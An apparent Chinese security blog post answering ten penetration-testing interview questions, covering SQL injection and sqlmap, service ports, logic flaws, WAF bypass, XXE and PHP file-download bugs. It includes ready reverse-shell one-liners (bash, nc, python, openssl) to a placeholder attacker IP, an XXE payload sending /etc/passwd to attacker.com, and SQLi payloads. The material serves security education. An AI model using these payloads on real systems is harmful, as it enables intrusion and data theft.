安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
[2025年HW(护网面试) 01](#2025年HW(护网面试) 01)
[1. SQL注入类型与sqlmap命令](#1. SQL注入类型与sqlmap命令)
[SQLMAP API使用](#SQLMAP API使用)
[2. 服务简介与默认端口](#2. 服务简介与默认端口)
[3. 逻辑漏洞类型](#3. 逻辑漏洞类型)
[4. Linux反弹Shell方法](#4. Linux反弹Shell方法)
[5. SQL注入Bypass WAF技巧](#5. SQL注入Bypass WAF技巧)
[6. 漏洞检测代码(Python实现)](#6. 漏洞检测代码(Python实现))
[7. XXE漏洞分析](#7. XXE漏洞分析)
[检测Blind XXE](#检测Blind XXE)
[8. 网站渗透测试思路](#8. 网站渗透测试思路)
[9. Web扫描器爬虫观点](#9. Web扫描器爬虫观点)
[10. PHP任意文件下载漏洞](#10. PHP任意文件下载漏洞)
修复方案
2025年HW(护网面试) 01
1、常见的SQL注入类型有哪些?并写出sqlmap检测SQL注入的命令?SQLMAPAPI怎么使用 2、Mongodb、redis、websphere、rsync服务简介和默认运行端口 3、写出你知道的逻辑漏洞 4、列举Linux的反弹shell的一些方法 5、针对SQL注入,写出你所知道的Bypass WAF的可能的方式 6、写出任意一种漏洞检测代码,用python实现 7、简述XXE的基本原理,以及如何去检测或者判断Blind XXE的存在 8、简述针对一个网站的渗透测试思路 9、针对Web扫描器的爬虫,你怎么看 10、简述PHP中造成任意文件下载漏洞的常见函数,以及造成漏洞的原因
1. SQL注入类型与sqlmap命令
常见SQL注入类型
- Union-based :联合查询注入,通过
UNION
获取其他表数据。- Error-based:利用数据库报错信息泄露数据。
- Boolean-based Blind:通过布尔条件(真/假)逐位推断数据。
- Time-based Blind :利用延时函数(如
SLEEP()
)判断条件真假。- Stacked Queries:堆叠查询,执行多条SQL语句(需后端支持)。
- Out-of-band (OOB):通过DNS/HTTP请求外带数据(较少见)。
sqlmap检测命令
bash`sqlmap -u "http://example.com/id=1" --risk=3 --level=5 --batch `
- 关键参数 :
--dbs
:枚举数据库;--tables
:枚举表;--dump
:导出数据;--os-shell
:获取系统Shell。SQLMAP API使用
启动API服务 :
bash`sqlmapapi -s `
客户端操作 :
- 创建任务:
POST /task/new
→ 获取taskid
;- 配置扫描:
POST /scan/<taskid>/start
,提交JSON参数(如{"url": "http://example.com"}
);- 获取结果:
GET /scan/<taskid>/status
和GET /scan/<taskid>/data
。
2. 服务简介与默认端口
服务 简介 默认端口 MongoDB NoSQL文档数据库,JSON格式存储 27017 Redis 内存键值数据库,支持持久化 6379 WebSphere IBM Java应用服务器(Enterprise版) 9080(HTTP)、9043(HTTPS) rsync 文件同步协议,常用于备份 873
3. 逻辑漏洞类型
- 越权访问:垂直越权(普通用户访问管理员功能)、水平越权(访问他人数据)。
- 支付漏洞 :修改订单金额(如前端传参
price=0.01
)、重放支付请求。- 密码重置漏洞 :绕过验证(如修改
userid
参数)、短信轰炸、验证码复用。- 业务逻辑绕过:优惠券无限领取、库存负数导致无限购买。
- 条件竞争:并发请求(如抢购时多次提交)。
4. Linux反弹Shell方法
bash`# 方法1:Bash TCP连接 bash -i >& /dev/tcp/攻击者IP/端口 0>&1 # 方法2:Netcat(传统) nc -e /bin/sh 攻击者IP 端口 # 方法3:Python python -c 'import socket,os,pty; s=socket.socket(); s.connect((" 攻击者IP",端口)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); pty.spawn("/bin/sh")' # 方法4:加密通信(避免检测) mkfifo /tmp/f; openssl s_client -quiet -connect 攻击者IP:端口 </tmp/f | sh >/tmp/f 2>&1; rm /tmp/f `
5. SQL注入Bypass WAF技巧
- 混淆注释 :
/*!SELECT*/
(MySQL内联注释)、--%0a
(换行符绕过)。- 特殊编码 :URL编码(
%20
)、双重URL编码、Unicode编码(%u0053ELECT
)。- 字符串拼接 :
CONCAT('sel','ect')
、's'+'e'+'l'+'e'+'c'+'t'
。- 等价函数替换 :
SUBSTRING
→MID
/SUBSTR
;SLEEP()
→BENCHMARK(1000000,MD5('a'))
。- HTTP参数污染 :
?id=1&id=2 UNION SELECT
(WAF检测首个参数,后端取末尾)。- 分块传输编码:通过HTTP分块绕过正则检测。
6. 漏洞检测代码(Python实现)
漏洞类型:基于时间的SQL盲注检测
python`import requests import time def check_time_based_sql(url, param): payloads = [ "' AND SLEEP(5)-- ", # MySQL "' WAITFOR DELAY '0:0:5'-- ", # MSSQL "' AND (SELECT COUNT(*) FROM GENERATE_SERIES(1,10000000))-- " # PostgreSQL ] for payload in payloads: start_time = time.time() res = requests.get(url, params={param: payload}) elapsed = time.time() - start_time if elapsed >= 5: print(f"[!] 存在时间盲注漏洞!Payload: {payload}") return True print("[*] 未检测到时间盲注漏洞") return False # 示例调用 check_time_based_sql("http://example.com/page", "id") `
7. XXE漏洞分析
基本原理
XML解析器未禁用外部实体(DTD),攻击者可:
- 读取本地文件:
<!ENTITY xxe SYSTEM "file:///etc/passwd">
;- 发起SSRF请求:
SYSTEM "http://attacker.com"
;- 执行Blind XXE数据外带。
检测Blind XXE
- 带外通道(OOB) :
注入恶意DTD:
xml`<!ENTITY % payload SYSTEM "file:///etc/passwd"> <!ENTITY % dtd "<!ENTITY % exfil SYSTEM 'http://attacker.com/?data=%payload;'>"> `
监测攻击者服务器是否收到HTTP请求(含文件内容)。
- 报错回显:触发错误信息包含敏感数据(需解析器配置允许)。
8. 网站渗透测试思路
- 信息收集 :
- Whois查询、子域名扫描(工具:Sublist3r)、端口扫描(Nmap)。
- 漏洞扫描 :
- Web扫描器(AWVS、Burp Suite)检测SQL注入/XSS等。
- 手动测试 :
- 逻辑漏洞(越权、支付绕过);
- 认证与会话管理(弱密码、Session固定)。
- 服务层攻击 :
- 中间件漏洞(如WebSphere反序列化);
- 数据库未授权访问(Redis/MongoDB)。
- 后渗透 :
- 提权(Linux内核漏洞);
- 横向移动(抓取密码、SSH密钥)。
9. Web扫描器爬虫观点
- 优点 :
- 高效覆盖:自动化遍历目录、参数,识别低危漏洞(如目录遍历);
- 标准化:减少重复性工作(如Cookie注入检测)。
- 局限 :
- 逻辑漏洞盲区:无法理解业务场景(如红包领取规则);
- 动态内容误报:JavaScript渲染页面漏扫(需结合Headless浏览器);
- WAF干扰:频繁请求易触发封禁。
- 改进方向 :
- AI辅助:结合机器学习识别业务逻辑;
- 被动扫描:代理模式记录用户操作后再扫描。
10. PHP任意文件下载漏洞
常见函数
php`readfile("/var/www/data/" . $_GET['file']); // 直接读取文件file_get_contents($filename); // 获取文件内容 fopen($_POST['path'], 'r'); // 打开文件流 `
漏洞原因
- 未过滤用户输入 :直接拼接参数(如
?file=../../.env
);- 路径遍历 :未限制目录(
../
跳转);- 后缀校验缺失 :未检查文件类型(如
.php
文件被下载后源码泄露)。修复方案
php`// 白名单校验 $allowed = ['report.pdf', 'guide.txt']; if (in_array($_GET['file'], $allowed)) { readfile("/safe_dir/" . $_GET['file']); } else { die("非法文件!"); } `